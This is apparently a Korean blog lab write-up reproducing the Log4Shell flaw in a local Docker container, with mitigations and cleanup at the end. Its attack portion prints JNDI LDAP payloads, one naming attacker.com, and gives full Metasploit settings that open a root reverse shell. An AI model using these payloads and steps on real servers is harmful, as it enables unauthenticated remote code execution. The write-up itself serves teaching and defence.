1. 서론
2021년 12월 9일, 트위터에 이상한 짤이 하나 돌았다.
마인크래프트 서버 채팅창에 ${jndi:ldap://...} 를 입력했더니 서버가 외부로 DNS 요청을 보낸다는 내용이었다.
로그 라이브러리가 DNS 요청을 보낸다고?
그게 Log4Shell이었다. CVSS 10.0. 인증 없음. 수백만 개의 서버에서 동작. Log4j는 거의 모든 자바 기반 서버에 들어가 있는 로깅 라이브러리인데, 그 로깅 라이브러리가 입력값을 그대로 실행하고 있었다.
이 글은 "얼마나 위험한가요?"를 설명하는 글이 아니다. 직접 취약 환경을 띄우고, Metasploit으로 공격해서, root 쉘을 따고, 컨테이너 로그에서 JNDI payload 흔적을 확인하는 과정을 그대로 기록한 것이다.
2. 취약점 원리: 왜 로그가 코드 실행으로 이어지나
Log4j 메시지 치환 기능
Log4j 2.x에는 ${} 문법으로 동적 값을 로그에 삽입하는 기능이 있다.
logger.info("사용자 접속: " + request.getHeader("X-Api-Version"));
X-Api-Version 헤더 값이 ${sys:java.version} 이면 로그에 Java 버전이 찍힌다.
${env:HOME} 이면 서버의 HOME 환경변수가 찍힌다.
이건 설계된 기능이다. 문제는 JNDI까지 지원한다는 것이다.
JNDI가 뭔데
JNDI(Java Naming and Directory Interface)는 Java 앱에서 네트워크 디렉토리 서비스(LDAP, RMI, DNS 등)에 접근하는 인터페이스다.
// JNDI로 LDAP에서 오브젝트 가져오는 예시
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://server/objectName");
lookup() 은 원격에서 Java 오브젝트를 가져올 수 있다. 그리고 가져온 오브젝트는 로드되는 순간 초기화 코드가 실행된다.
이 두 가지가 합쳐지면
로그 입력값: ${jndi:ldap://attacker.com/exploit}
Log4j 처리 흐름:
1. "${jndi:ldap://...}" 패턴 감지
2. JNDI lookup() 호출
3. 공격자 LDAP 서버에 요청
4. 공격자가 조작된 Java 클래스 경로 반환
5. 서버가 해당 클래스 다운로드 + 로드
6. 클래스 초기화 코드 실행 → 임의 명령 실행
인증 필요 없다. 방화벽 안쪽 서버도 아웃바운드가 가능하면 된다. 로그에 찍히는 모든 사용자 입력값이 잠재적인 공격 벡터다 — User-Agent, Referer, 쿠키, 파라미터, 폼 데이터 전부.
왜 Java 8u191 미만에서만 동작하나
Java 8u191, 11.0.1 이후로 원격 코드베이스(codebase) 로딩을 기본 차단했다(com.sun.jndi.ldap.object.trustURLCodebase = false). 이 패치 이전 버전에서는 LDAP 서버가 임의 URL의 Java 클래스를 로드하도록 지시할 수 있었다.
이번 실습에서 사용하는 컨테이너의 Java 버전은 OpenJDK 1.8.0_181 — 딱 취약한 버전이다.
3. 실습 환경 구성
3-1. 작업 디렉토리 준비
mkdir -p /home/jinho/Dev/Project/log4shell-lab
cd /home/jinho/Dev/Project/log4shell-lab

3-2. Docker로 취약 서버 실행
사용한 이미지는 ghcr.io/christophetd/log4shell-vulnerable-app — Log4Shell 재현용으로 만든 Spring Boot 앱이다. X-Api-Version 헤더 값을 Log4j로 로깅한다.
sudo docker run -d \
--name log4shell-lab \
-p 8180:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app
컨테이너가 올라오는 데 몇 초 걸린다. 그다음 docker ps로 확인.
sudo docker ps --filter name=log4shell-lab \
--format "table {{.ID}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}"
출력:
CONTAINER ID IMAGE STATUS PORTS
a85cecd1ab95 ghcr.io/christophetd/log4shell-vulnerable-app Up 0.0.0.0:8180->8080/tcp

서버 응답 확인:
curl -s -o /dev/null -w "%{http_code}" http://localhost:8180/
400 응답이 나오면 정상이다. Spring Boot 앱이 Content-Type 없이 오는 요청에 400을 반환한다.

3-3. 컨테이너 네트워크 확인
Docker bridge 네트워크에서 컨테이너 IP와 호스트 IP를 확인해야 Metasploit 설정에서 사용할 수 있다.
sudo docker inspect log4shell-lab \
--format '{{range .NetworkSettings.Networks}}{{.Gateway}} {{.IPAddress}}{{end}}'
출력:
172.17.0.1 172.17.0.2
172.17.0.1— Docker bridge의 호스트 쪽 IP (Metasploit 서버들이 바인딩할 주소)172.17.0.2— 컨테이너 내부 IP (공격 대상)
여기서 한 가지 주의할 점 — UFW가 설치된 환경에서는 컨테이너에서 호스트로 들어오는 트래픽이 차단된다. docker0 인터페이스를 허용해야 한다:
sudo ufw allow in on docker0 comment "docker host access"
이걸 빠뜨리면 LDAP 요청은 나가는데 응답이 안 온다. 컨테이너 로그에 Connection timed out만 찍힌다. 직접 겪었다.
4. 공격 준비: Metasploit 모듈 설정
4-1. msfconsole 실행
msfconsole
처음 실행하면 DB 초기화 안내가 나온다. msfdb init으로 미리 초기화해두면 바로 진입할 수 있다.

4-2. 모듈 로드 및 설정
msf6 > use exploit/multi/http/log4shell_header_injection
msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 172.17.0.2
msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080
msf6 exploit(multi/http/log4shell_header_injection) > set LHOST 172.17.0.1
msf6 exploit(multi/http/log4shell_header_injection) > set LPORT 4446
msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST 172.17.0.1
msf6 exploit(multi/http/log4shell_header_injection) > set SRVPORT 1391
msf6 exploit(multi/http/log4shell_header_injection) > set HTTP_SRVPORT 8092
msf6 exploit(multi/http/log4shell_header_injection) > set HTTP_HEADER X-Api-Version
msf6 exploit(multi/http/log4shell_header_injection) > set AutoCheck false
각 옵션이 무슨 역할인지 정리하면:
| 옵션 | 값 | 역할 |
|---|---|---|
| RHOSTS | 172.17.0.2 | 공격 대상 (컨테이너 IP) |
| RPORT | 8080 | 컨테이너 내부 포트 |
| LHOST | 172.17.0.1 | 역방향 쉘이 연결될 호스트 IP |
| LPORT | 4446 | 역방향 쉘 리스너 포트 |
| SRVHOST | 172.17.0.1 | LDAP 서버 바인딩 주소 |
| SRVPORT | 1391 | LDAP 서버 포트 |
| HTTP_SRVPORT | 8092 | Java .jar 파일 서빙 HTTP 포트 |
| HTTP_HEADER | X-Api-Version | JNDI payload를 삽입할 HTTP 헤더 |
| AutoCheck | false | 사전 취약점 스캔 건너뜀 |
msf6 exploit(multi/http/log4shell_header_injection) > show options

5. 실제 공격
5-1. exploit 실행
msf6 exploit(multi/http/log4shell_header_injection) > run -j
-j 는 백그라운드 잡으로 실행한다는 뜻이다. exploit이 실행되면서 다음 일이 일어난다:
[*] Started reverse TCP handler on 172.17.0.1:4446
[*] Serving Java code on: http://172.17.0.1:8092/zkJbc3j8nbuTthz.jar
Metasploit이 LDAP 서버(1391)와 Java class 파일 서버(8092)를 동시에 띄운다. 그리고 취약 서버의 X-Api-Version 헤더에 JNDI payload를 삽입한 HTTP 요청을 보낸다.

5-2. 세션 획득
몇 초 뒤:
[*] Command shell session 1 opened (172.17.0.1:4446 -> 172.17.0.2:47234) at 2026-03-29 12:06:47 +0900
컨테이너(172.17.0.2)에서 호스트(172.17.0.1:4446)로 역방향 쉘이 연결됐다.
msf6 > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell java/java 172.17.0.1:4446 -> 172.17.0.2:47234 (172.17.0.2)

5-3. 쉘 진입 및 명령 실행
msf6 > sessions -c id -i 1
[*] Running 'id' on shell session 1 (172.17.0.2)
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),...
msf6 > sessions -c pwd -i 1
[*] Running 'pwd' on shell session 1 (172.17.0.2)
/
msf6 > sessions -c whoami -i 1
[*] Running 'whoami' on shell session 1 (172.17.0.2)
root
루트다.
Spring Boot 앱이 root로 실행되고 있었으니 당연한 결과지만, 실제로 uid=0(root) 가 찍히는 순간은 여전히 인상적이다. HTTP 헤더 한 줄이 이 결과를 만들어냈다.

6. 내부 동작 분석: 무슨 일이 벌어진 건가
HTTP 요청 → 로그 → JNDI → LDAP → RCE 전체 흐름
공격 요청:
GET / HTTP/1.1
Host: 172.17.0.2:8080
X-Api-Version: ${jndi:ldap://172.17.0.1:1391/dc=absjpf,dc=ivx}
① 서버가 헤더 값을 로그에 기록하려 한다
// MainController.java (취약 앱 소스)
log.info("Received a request for API version {}", apiVersion);
Log4j의 MessagePatternConverter가 {} 자리에 apiVersion 값을 넣으려 한다.
② Log4j가 ${jndi:...} 패턴을 감지한다
Log4j의 Interpolator가 메시지에서 ${} 패턴을 찾아 치환한다. jndi: 접두사를 감지하고 JNDI 조회를 시작한다.
③ JNDI lookup() 호출
// 내부적으로 이 코드가 실행됨
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://172.17.0.1:1391/dc=absjpf,dc=ivx");
④ 공격자 LDAP 서버(Metasploit)로 요청
Metasploit의 LDAP 서버가 이 요청을 받는다. 그리고 응답으로 다음을 반환한다:
javaClassName: ExploitClass
javaCodeBase: http://172.17.0.1:8092/
javaFactory: zkJbc3j8nbuTthz
"이 오브젝트는 HTTP 서버에서 저 .jar 파일을 받아서 초기화해"라고 지시하는 것이다.
⑤ 서버가 .jar 파일을 다운로드 + 로드
http://172.17.0.1:8092/zkJbc3j8nbuTthz.jar
Metasploit이 생성한 페이로드 클래스 파일이다. 이 클래스에는 static {} 블록에 리버스 쉘 코드가 들어있다.
⑥ 클래스 초기화 코드 실행 → 역방향 연결
// Metasploit이 생성한 페이로드 클래스 (개념적 표현)
public class zkJbc3j8nbuTthz {
static {
// 172.17.0.1:4446 으로 리버스 쉘 연결
Runtime.getRuntime().exec("...");
}
}
클래스가 로드되면서 static 블록이 실행되고, 호스트로 역방향 쉘 연결이 들어온다.
전체 타임라인 요약:
공격자의 HTTP 요청
│
▼
Log4j: "${jndi:ldap://...}" 패턴 감지 (메시지 치환 기능)
│
▼
JNDI lookup() → 공격자 LDAP 서버(1391)로 요청
│
▼
LDAP 응답: "http://172.17.0.1:8092/payload.jar 에서 클래스 로드해"
│
▼
서버가 payload.jar 다운로드 (8092 포트)
│
▼
Java ClassLoader가 클래스 로드 → static 블록 실행
│
▼
역방향 쉘 → 공격자 4446 포트로 연결
│
▼
uid=0(root)
7. 로그 확인: 서버 측에서 무슨 흔적이 남나
공격이 성공한 뒤 컨테이너 로그를 확인했다.
sudo docker logs log4shell-lab | grep "Received a request"
2026-03-29 03:06:40 INFO HelloWorld: Received a request for API version
${jndi:ldap://172.17.0.1:1391/dc=absjpf,dc=ivx}
payload가 그대로 로그에 남아있다. 서버 입장에서는 이게 "로그를 남기는 행위"였다. 공격 당하면서 동시에 증거를 남긴 셈이다.
실패했던 시도들도 로그에 남아있다:
2026-03-29 02:57:27 WARN Error looking up JNDI resource
[ldap://172.17.0.1:1389/a].
javax.naming.CommunicationException: 172.17.0.1:1389
[Root exception is java.net.ConnectException: Connection timed out]
UFW 규칙을 추가하기 전에 시도했던 것들이다. JNDI 조회는 시작됐는데, 컨테이너에서 호스트 포트로 연결이 안 된 상황. 이걸 보고 네트워크 문제를 파악했다.

8. 왜 이게 이렇게 위험했나
"단순 문자열"이 실행으로
일반적으로 로그에 문자열을 남기는 건 안전하다고 생각한다. logger.info("요청: " + input) — 뭐가 문제일까?
Log4j는 이 문자열을 단순히 저장하는 게 아니라 파싱했다. 메시지 치환 기능이 있었고, JNDI 조회가 그 기능 중 하나였다. 개발자가 의도한 기능이 공격 벡터가 됐다.
인증이 없다
X-Api-Version: ${jndi:ldap://...} — 이게 전부다. 로그인 필요 없다. 유저 계정 필요 없다. 어떤 HTTP 헤더든, 어떤 입력이든 Log4j가 로깅하는 곳이면 다 된다. User-Agent도 된다. Referer도 된다. 쿼리 파라미터도 된다.
Java가 클래스를 로드한다
취약점의 핵심은 Log4j가 아니라 Java의 JNDI + 원격 클래스 로딩 기능이다. Log4j는 그걸 트리거하는 입구였다. JNDI는 설계상 원격에서 코드를 로드할 수 있었고, 그게 악용됐다. Java 8u191에서 trustURLCodebase 기본값이 바뀐 이유가 여기 있다.
노출 범위가 어마어마했다
Log4j는 Apache, VMware, Cisco, Elastic, Minecraft 등 수천 개 제품에 들어가 있었다. 특히 빌드 도구가 의존성으로 알아서 가져다 쓰기 때문에 개발팀이 Log4j를 쓰는지조차 모르는 경우도 많았다.
9. 대응 방법
9-1. 근본적 해결 — 패치
# pom.xml
<dependency>
<groupId>
org.apache.logging.log4j
</groupId>
<artifactId>
log4j-core
</artifactId>
<version>
2.17.1
</version>
# 2.15.0 이후 수정, 2.17.1 권장
</dependency>
2.15.0에서 기본적으로 수정됐지만 우회 가능성이 있어서 2.17.1을 권장한다.
# 현재 사용 중인 Log4j 버전 확인
find / -name "log4j*.jar" 2>/dev/null
grep -r "log4j" pom.xml build.gradle 2>/dev/null
9-2. JNDI 비활성화 (임시)
패치가 바로 안 되는 상황이라면:
# JVM 옵션으로 JNDI Lookup 비활성화
-Dlog4j2.formatMsgNoLookups=true
# Java 8u121 이후 기본값 변경하기
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
# 환경변수로 처리
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
9-3. WAF 규칙
${jndi: 패턴을 포함하는 요청 차단. 완전한 해결책은 아니지만 (인코딩 우회 가능) 1차 방어로 쓸 수 있다.
9-4. 아웃바운드 네트워크 제한
서버에서 외부 LDAP(389, 636), RMI(1099) 포트 아웃바운드를 차단하면 RCE 성공하기 어려워진다. 단, DNS lookup 기반 탐지(OOB)는 여전히 가능.
10. 실습 환경 정리
실습이 끝나면 컨테이너를 반드시 내리자. 취약 서버가 계속 떠있으면 네트워크에 노출될 위험이 있다.
sudo docker stop log4shell-lab
sudo docker rm log4shell-lab
sudo docker ps # 컨테이너가 없는 것 확인

11. 작업 폴더 백업
실습 로그, Metasploit 설정, 참고 자료를 tar로 보관해두면 나중에 다시 재현할 때 편하다.
cd /home/jinho/Dev/Project
tar -czvf log4shell-lab.tar.gz log4shell-lab/
ls -lh log4shell-lab.tar.gz
이 아카이브에는:
msf_exploit_final.txt— Metasploit 설정 및 exploit 실행 로그msf_shell_cmds2.txt— 세션 획득 및 whoami/id/pwd 결과docker_logs_jndi.txt— JNDI payload가 찍힌 컨테이너 로그session_proof.txt— 전체 실습 흐름 요약
실습 환경을 다시 띄울 때는:
tar -xzvf log4shell-lab.tar.gz
cd log4shell-lab
sudo docker run -d --name log4shell-lab -p 8180:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app
마무리
Log4Shell을 이렇게 정리하고 보면, 이게 왜 2021년 말에 그렇게 난리가 났는지 이해가 된다.
취약점 자체가 복잡한 게 아니었다. 문자열을 로그에 남기는 행위가 원격 코드 실행으로 이어진다는 것, 그리고 그게 인증 없이, 어떤 입력 필드에서든 발생한다는 것. 실습해보기 전까지는 "심각하다"는 말만 읽었는데, HTTP 헤더 한 줄로 uid=0(root) 를 받는 순간 뭔가 달라진다.
직접 환경 구성하고, UFW 막혀서 삽질하고, JNDI 로그 확인하면서 취약점이 어떻게 동작하는지 체감했다. 이 흐름을 이해하면 단순히 "Log4j 업데이트하세요"를 넘어서, 왜 아웃바운드 네트워크 차단이 방어가 되는지, 왜 trustURLCodebase 패치가 의미 있었는지도 이해된다.
References
- Apache Log4j2 — CVE-2021-44228 Security Advisory
- NVD — CVE-2021-44228
- LunaSec — Log4Shell: RCE 0-day exploit found in log4j
- Christophe Tafani-Dereeper — log4shell-vulnerable-app (GitHub)
- Rapid7 — CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j RCE
- CISA — Apache Log4j Vulnerability Guidance